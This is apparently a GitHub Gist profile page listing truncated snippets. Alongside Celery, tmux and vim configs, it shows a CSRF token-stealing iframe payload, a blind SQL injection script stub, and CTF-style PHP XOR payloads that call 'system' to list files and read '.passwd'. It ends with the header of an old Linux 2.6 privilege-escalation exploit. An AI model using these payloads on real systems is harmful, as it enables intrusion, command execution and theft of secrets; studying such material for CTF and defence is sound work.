Skip to content

Instantly share code, notes, and snippets.

View suryadana's full-sized avatar

I Komang Suryadana suryadana

View GitHub Profile
@suryadana
suryadana / celery-systemd.service
Created August 5, 2020 02:35
Systemd for celery daemon
[Unit]
Description=Celery daemon service
After=network.target
[Service]
Type=forking
WorkingDirectory=/opt/project
ExecStart=/bin/sh -c '/bin/yes | /bin/rm celerybeat-schedule*; /opt/project/env/bin/celery multi start -A project_name worker -B -E -l info --pidfile=/var/run/celery/celery.pid --logfile=/var/log/celery/project.log -P solo'
ExecStop=/bin/sh -c '/bin/yes | /bin/rm celerybeat-schedule*; /opt/project/env/bin/celery multi stopwait -A project_name worker -B -E -l info --pidfile=/var/run/celery/celery.pid --logfile=/var/log/celery/project.log -P solo'
ExecReload=/bin/sh -c '/bin/yes | /bin/rm celerybeat-schedule*; /opt/project/env/bin/celery multi restart -A project_name worker -B -E -l info --pidfile=/var/run/celery/celery.pid --logfile=/var/log/celery/project.log -P solo'
(function(global, factory) {
"use strict";
if (typeof module === "object" && typeof module.exports === "object") {
module.exports = global.document ?
factory(global, true) :
function(w) {
if (!w.document) {
throw new Error("getorgchart requires a window with a document");
}
return factory(w);
<iframe id="iframe" src="?action=profile" onload="read()"></iframe>
<script>
function read()
{
document.getElementById('token').value = document.getElementById("iframe").contentDocument.forms[0].token.value;
}
</script>
<form id="csrf" action="?action=profile" method="POST" enctype="multipart/form-data">
@suryadana
suryadana / blind_sqlinjection.py
Created May 29, 2019 06:35
The part of tools scripting for sqlinjection, hell fire can burning anyting.
import requests, string, sys, threading
url = 'http://example.com/any.php'
def inline_print(value):
value = str(value)
sys.stdout.write("\b" * len(value))
sys.stdout.write(" " * len(value))
sys.stdout.write("\b" * len(value))
sys.stdout.write(value)
@suryadana
suryadana / php_eval_non_alphanumeric.py
Created February 18, 2019 08:21
Another CTF challenge playing with xor to bypass filter alphanumeric.
$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");
$__=("@"^",").("@"^"3")." -".("@"^"!").("@"^",").("["^"3"); // ls -alh
$__=("["^"8").("@"^"!").("@"^"4")." .".("@"^"0").("@"^"!").("@"^"3").("@"^"3").("@"^"7").("@"^"$") // cat .passwd
$__=("["^"8").("@"^"!").("@"^"4")." ".("["^"2").("^"^"0").("@"^"$").("]"^"8").("@"^"8").".".("@"^"0").("["^"3").("@"^"0"); // cat index.php
$_($__);
$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");$__=("["^"8").("@"^"!").("@"^"4")." ".("["^"2").("^"^"0").("@"^"$").("]"^"8").("@"^"8").".".("@"^"0").("["^"3").("@"^"0");$_($__);
$_=("@"^"3").("@"^"9").("@"^"3").("@"^"4").("@"^"%").("@"^"-");$__=("["^"8").("@"^"!").("@"^"4")." .".("@"^"0").("@"^"!").("@"^"3").("@"^"3").("@"^"7").("@"^"$");$_($__);
import requests, string, urllib
from bs4 import BeautifulSoup
url = "http://xxx.com/xx/x/?action=news&news_id=1"
def get_table_name():
tables = []
for offset in range(0, 5):
table = ''
for r in range(1, 20):
@suryadana
suryadana / .tmux.conf
Last active September 20, 2021 01:37
My tmux configure
# You probably already put this in
unbind C-b
set -g prefix C-x
bind C-x send-prefix
# split panes using | and -
bind h split-window -h
@suryadana
suryadana / vimrc
Last active September 20, 2021 00:36
My vim configure
" All system-wide defaults are set in $VIMRUNTIME/archlinux.vim (usually just
" /usr/share/vim/vimfiles/archlinux.vim) and sourced by the call to :runtime
" you can find below. If you wish to change any of those settings, you should
" do it in this file (/etc/vimrc), since archlinux.vim will be overwritten
" everytime an upgrade of the vim packages is performed. It is recommended to
" make changes after sourcing archlinux.vim since it alters the value of the
" 'compatible' option.
" This line should not be removed as it ensures that various options are
# requirements.txt
# flask
# python-magic
import magic, io
from flask import Flask, jsonify, request, send_file
from ftplib import FTP
app = Flask(__name__)
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket